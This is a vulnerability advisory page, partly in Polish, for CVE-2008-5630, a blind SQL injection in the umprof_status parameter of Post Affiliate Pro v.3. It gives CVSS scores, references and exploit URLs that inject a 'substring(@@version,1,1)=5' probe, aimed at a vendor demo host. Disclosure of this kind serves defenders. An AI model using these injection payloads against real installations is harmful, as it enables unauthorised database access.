Post Affiliate Pro v.3 (umprof_status) Blind SQL Injection Vulnerability

2008.12.21

Credit: XaDoS

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-5630

CWE: CWE-89

Ogólna skala CVSS: 6.8/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

[&#65533; ]  Post Affiliate Pro v.3 (index.php md) <= Blind $ql Injection

>&#169;<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> B§g: Blind $ql inJection
> SIte vuln: http://www.qualityunit.com/postaffiliatepro/

>&#169;<
 
[&#65533; ] ExPL0iT:
 
|: http://www.example.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=[sql] 
 
 [you must be merchants]

[&#65533; ] D&#163;M0: 
 
|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [NO°°]
 
|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [y&$ ;-)] 
 
[&#65533; ] Th4nKs::
 
\> Str0ke </
\> Joy Division </
\> Teo Babbeo </
\> Spud </
\> Loooo Z00ooo00oo0 </  Lol ;-)

Referencje:

http://xforce.iss.net/xforce/xfdb/46887

http://www.securityfocus.com/bid/32487

http://www.milw0rm.com/exploits/7238

http://www.frsirt.com/english/advisories/2008/3271

http://secunia.com/advisories/32898

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Post Affiliate Pro v.3 (umprof_status) Blind SQL Injection Vulnerability

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.